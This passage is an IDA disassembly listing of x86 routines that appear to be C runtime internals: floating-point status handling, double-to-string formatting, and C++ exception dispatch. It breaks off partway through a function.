sub_421640	proc near		; CODE XREF: sub_421294+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427848
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421660
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4216F6
; ---------------------------------------------------------------------------


loc_421660:				; CODE XREF: sub_421640+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4216CF
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421678
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4216CF


loc_421678:				; CODE XREF: sub_421640+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427848
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421690
		push	1
		pop	eax
		jmp	short loc_421692
; ---------------------------------------------------------------------------


loc_421690:				; CODE XREF: sub_421640+49j
		xor	eax, eax


loc_421692:				; CODE XREF: sub_421640+4Ej
					; sub_421640+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_4216AB
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_4216A5
		or	dword ptr [ebp+arg_0+4], 1


loc_4216A5:				; CODE XREF: sub_421640+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421692
; ---------------------------------------------------------------------------


loc_4216AB:				; CODE XREF: sub_421640+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4216B9
		or	byte ptr [ebp+arg_0+7],	80h


loc_4216B9:				; CODE XREF: sub_421640+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4215BD
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4216F6
; ---------------------------------------------------------------------------


loc_4216CF:				; CODE XREF: sub_421640+28j
					; sub_421640+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4215BD
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4216F6:				; CODE XREF: sub_421640+1Bj
					; sub_421640+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421701	proc near		; CODE XREF: sub_420FE1+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421701	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42170F	proc near		; CODE XREF: sub_420FE1+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42170F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42171E	proc near		; CODE XREF: sub_41CDE5+13p
					; sub_41CDE5+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_42171E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421741	proc near		; CODE XREF: sub_421294+1Dp
					; sub_421294+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421758
		fld	tbyte_43AC10
		fistp	[ebp+arg_0]
		wait


loc_421758:				; CODE XREF: sub_421741+Bj
		test	cl, 8
		jz	short loc_42176D
		fstsw	ax
		fld	tbyte_43AC10
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_42176D:				; CODE XREF: sub_421741+1Aj
		test	cl, 10h
		jz	short loc_42177C
		fld	tbyte_43AC1C
		fstp	[ebp+var_8]
		wait


loc_42177C:				; CODE XREF: sub_421741+2Fj
		test	cl, 4
		jz	short loc_42178A
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_42178A:				; CODE XREF: sub_421741+3Ej
		test	cl, 20h
		jz	short locret_421795
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421795:				; CODE XREF: sub_421741+4Cj
		leave
		retn
sub_421741	endp


; =============== S U B	R O U T	I N E =======================================



sub_421797	proc near		; CODE XREF: sub_41CEB4+Fp
		push	30000h
		push	10000h
		call	sub_423F65
		pop	ecx
		pop	ecx
		retn
sub_421797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217A9	proc near		; CODE XREF: sub_4217E7:loc_42180Bj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427858
		fstp	[ebp+var_8]
		fld	dbl_427850
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4217E3
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4217E3:				; CODE XREF: sub_4217A9+33j
		xor	eax, eax
		leave
		retn
sub_4217A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217E7	proc near		; CODE XREF: sub_41CEB4+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26906BCh
		test	eax, eax
		jz	short loc_42180B
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_42180B
		push	0
		call	eax ; sub_41CEB4
		retn
; ---------------------------------------------------------------------------


loc_42180B:				; CODE XREF: sub_4217E7+Dj
					; sub_4217E7+1Dj
		jmp	sub_4217A9
sub_4217E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421810	proc near		; CODE XREF: sub_41F5D4+3CBp
					; DATA XREF: sub_41CECC+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DEEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_421850


loc_421824:				; CODE XREF: sub_421810+3Ej
		inc	esi
		cmp	dword_43A88C, 1
		jle	short loc_42183D
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_42184C
; ---------------------------------------------------------------------------


loc_42183D:				; CODE XREF: sub_421810+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42184C:				; CODE XREF: sub_421810+2Bj
		test	eax, eax
		jnz	short loc_421824


loc_421850:				; CODE XREF: sub_421810+12j
		mov	cl, byte_43A890
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_42185B:				; CODE XREF: sub_421810+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_42185B
		pop	esi
		retn
sub_421810	endp


; =============== S U B	R O U T	I N E =======================================



sub_42186A	proc near		; CODE XREF: sub_41F5D4+3E2p
					; DATA XREF: sub_41CECC+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43A890
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421886


loc_42187A:				; CODE XREF: sub_42186A+1Aj
		cmp	cl, dl
		jz	short loc_421886
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_42187A


loc_421886:				; CODE XREF: sub_42186A+Ej
					; sub_42186A+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4218B7


loc_42188D:				; CODE XREF: sub_42186A+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4218A0
		cmp	cl, 65h
		jz	short loc_4218A0
		cmp	cl, 45h
		jz	short loc_4218A0
		inc	eax
		jmp	short loc_42188D
; ---------------------------------------------------------------------------


loc_4218A0:				; CODE XREF: sub_42186A+27j
					; sub_42186A+2Cj ...
		mov	ecx, eax


loc_4218A2:				; CODE XREF: sub_42186A+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4218A2
		cmp	[eax], dl
		jnz	short loc_4218AD
		dec	eax


loc_4218AD:				; CODE XREF: sub_42186A+40j
					; sub_42186A+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_4218AD

locret_4218B7:				; CODE XREF: sub_42186A+21j
		retn
sub_42186A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B8	proc near		; DATA XREF: sub_41CECC+28o
					; ___:off_43AC38o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jb	short loc_4218CD
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4218CD:				; CODE XREF: sub_4218B8+Fj
		xor	eax, eax
		retn
sub_4218B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4218D0	proc near		; CODE XREF: sub_420445+430p
					; DATA XREF: sub_41CECC+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4218F9
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424428
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218F9:				; CODE XREF: sub_4218D0+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424455
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_4218D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42190E	proc near		; CODE XREF: sub_421B8B+17p
					; sub_421BD5+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4D97AC, 0
		push	ebx
		push	esi
		jz	short loc_421943
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4D97A8
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421C26
		pop	ecx
		pop	ecx
		jmp	short loc_42197B
; ---------------------------------------------------------------------------


loc_421943:				; CODE XREF: sub_42190E+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4244F9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424482
		add	esp, 14h


loc_42197B:				; CODE XREF: sub_42190E+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421987
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421987:				; CODE XREF: sub_42190E+73j
		test	ebx, ebx
		jle	short loc_42199F
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43A890
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42199F:				; CODE XREF: sub_42190E+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4D97AC, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C620
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_4219C6
		mov	byte ptr [ecx],	45h


loc_4219C6:				; CODE XREF: sub_42190E+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421A0B
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_4219DA
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_4219DA:				; CODE XREF: sub_42190E+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_4219F1
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4219F1:				; CODE XREF: sub_42190E+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421A08
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421A08:				; CODE XREF: sub_42190E+E7j
		add	[ecx+1], bl


loc_421A0B:				; CODE XREF: sub_42190E+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42190E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421A12	proc near		; CODE XREF: sub_421BB2+13p
					; sub_421BD5+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4D97AC, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421A4D
		mov	eax, dword_4D97B0
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4D97A8
		cmp	eax, ebx
		jnz	short loc_421A7D
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421A7D
; ---------------------------------------------------------------------------


loc_421A4D:				; CODE XREF: sub_421A12+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4244F9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424482
		add	esp, 14h


loc_421A7D:				; CODE XREF: sub_421A12+22j
					; sub_421A12+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421A8B
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421A8B:				; CODE XREF: sub_421A12+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421AA2
		push	1
		push	edi
		call	sub_421C26
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421AA4
; ---------------------------------------------------------------------------


loc_421AA2:				; CODE XREF: sub_421A12+7Ej
		add	edi, eax


loc_421AA4:				; CODE XREF: sub_421A12+8Ej
		test	ebx, ebx
		jle	short loc_421AE9
		push	1
		push	edi
		call	sub_421C26
		mov	al, byte_43A890
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421AE9
		cmp	byte_4D97AC, 0
		jz	short loc_421ACE
		neg	esi
		jmp	short loc_421AD4
; ---------------------------------------------------------------------------


loc_421ACE:				; CODE XREF: sub_421A12+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421AD6


loc_421AD4:				; CODE XREF: sub_421A12+BAj
		mov	ebx, esi


loc_421AD6:				; CODE XREF: sub_421A12+C0j
		push	ebx
		push	edi
		call	sub_421C26
		push	ebx
		push	30h
		push	edi
		call	sub_41BD10
		add	esp, 14h


loc_421AE9:				; CODE XREF: sub_421A12+94j
					; sub_421A12+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421AF0	proc near		; CODE XREF: sub_421BD5+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4244F9
		mov	dword_4D97A8, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4D97B0, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424482
		mov	eax, dword_4D97A8
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4D97B0, ecx
		setl	cl
		mov	byte_4D97B4, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4D97B0, eax
		jl	short loc_421B76
		cmp	eax, ebx
		jge	short loc_421B76
		test	cl, cl
		jz	short loc_421B67


loc_421B5D:				; CODE XREF: sub_421AF0+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421B5D
		and	[esi-2], al


loc_421B67:				; CODE XREF: sub_421AF0+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421BB2
		add	esp, 0Ch
		jmp	short loc_421B86
; ---------------------------------------------------------------------------


loc_421B76:				; CODE XREF: sub_421AF0+63j
					; sub_421AF0+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421B8B
		add	esp, 10h


loc_421B86:				; CODE XREF: sub_421AF0+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421AF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B8B	proc near		; CODE XREF: sub_421AF0+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4D97AC, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_42190E
		and	byte_4D97AC, 0
		add	esp, 10h
		retn
sub_421B8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_421BB2	proc near		; CODE XREF: sub_421AF0+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4D97AC, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421A12
		and	byte_4D97AC, 0
		add	esp, 0Ch
		retn
sub_421BB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BD5	proc near		; CODE XREF: sub_41F5D4+3AAp
					; DATA XREF: sub_41CECCo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421C10
		cmp	[ebp+arg_8], 45h
		jz	short loc_421C10
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421BFD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421A12
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421BFD:				; CODE XREF: sub_421BD5+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421AF0
		jmp	short loc_421C21
; ---------------------------------------------------------------------------


loc_421C10:				; CODE XREF: sub_421BD5+7j
					; sub_421BD5+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42190E


loc_421C21:				; CODE XREF: sub_421BD5+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421BD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C26	proc near		; CODE XREF: sub_42190E+2Cp
					; sub_421A12+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421C49
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B960
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D400
		add	esp, 10h
		pop	esi


loc_421C49:				; CODE XREF: sub_421C26+7j
		pop	edi
		retn
sub_421C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C4B	proc near		; CODE XREF: ___:0041D0ACp
					; sub_41D115+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421C61
		call	sub_4224F2


loc_421C61:				; CODE XREF: sub_421C4B+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421C89
		cmp	dword ptr [esi+4], 0
		jz	short loc_421CDF
		cmp	[ebp+arg_14], 0
		jnz	short loc_421CDF
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_421F92
		add	esp, 10h
		jmp	short loc_421CDF
; ---------------------------------------------------------------------------


loc_421C89:				; CODE XREF: sub_421C4B+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421CDF
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421CC3
		cmp	[eax+14h], edi
		jbe	short loc_421CC3
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421CC3
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421CE2
; ---------------------------------------------------------------------------


loc_421CC3:				; CODE XREF: sub_421C4B+4Aj
					; sub_421C4B+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421CE6
		add	esp, 20h


loc_421CDF:				; CODE XREF: sub_421C4B+23j
					; sub_421C4B+29j ...
		push	1
		pop	eax


loc_421CE2:				; CODE XREF: sub_421C4B+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CE6	proc near		; CODE XREF: sub_421C4B+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421D06
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421D0B


loc_421D06:				; CODE XREF: sub_421CE6+16j
		call	sub_4224F2


loc_421D0B:				; CODE XREF: sub_421CE6+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421E62
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421D7F
		cmp	[esi+14h], edi
		jnz	short loc_421D7F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421D7F
		mov	esi, dword_4D97B8
		test	esi, esi
		jz	loc_421E5D
		mov	eax, dword_4D97BC
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424680
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421D61
		call	sub_4224F2


loc_421D61:				; CODE XREF: sub_421CE6+74j
		cmp	[esi], ebx
		jnz	loc_421E62
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421D7F
		cmp	[esi+14h], edi
		jnz	short loc_421D7F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421D7F
		call	sub_4224F2


loc_421D7F:				; CODE XREF: sub_421CE6+41j
					; sub_421CE6+46j ...
		cmp	[esi], ebx
		jnz	loc_421E62
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421E62
		cmp	[esi+14h], edi
		jnz	loc_421E62
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D263
		add	esp, 14h
		mov	ebx, eax


loc_421DB6:				; CODE XREF: sub_421CE6+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421E4D
		cmp	[ebx], edi
		jg	short loc_421E42
		cmp	edi, [ebx+4]
		jg	short loc_421E42
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421E3F


loc_421DDB:				; CODE XREF: sub_421CE6+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421E0C


loc_421DED:				; CODE XREF: sub_421CE6+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_421F35
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E1B
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421DED


loc_421E0C:				; CODE XREF: sub_421CE6+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421DDB
		jmp	short loc_421E3F
; ---------------------------------------------------------------------------


loc_421E1B:				; CODE XREF: sub_421CE6+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422046
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421E3F:				; CODE XREF: sub_421CE6+F3j
					; sub_421CE6+133j
		mov	edi, [ebp+var_10]


loc_421E42:				; CODE XREF: sub_421CE6+DEj
					; sub_421CE6+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421DB6
; ---------------------------------------------------------------------------


loc_421E4D:				; CODE XREF: sub_421CE6+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421E5D
		push	1
		push	esi
		call	sub_4223BB
		pop	ecx
		pop	ecx


loc_421E5D:				; CODE XREF: sub_421CE6+56j
					; sub_421CE6+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E62:				; CODE XREF: sub_421CE6+37j
					; sub_421CE6+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421E88
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
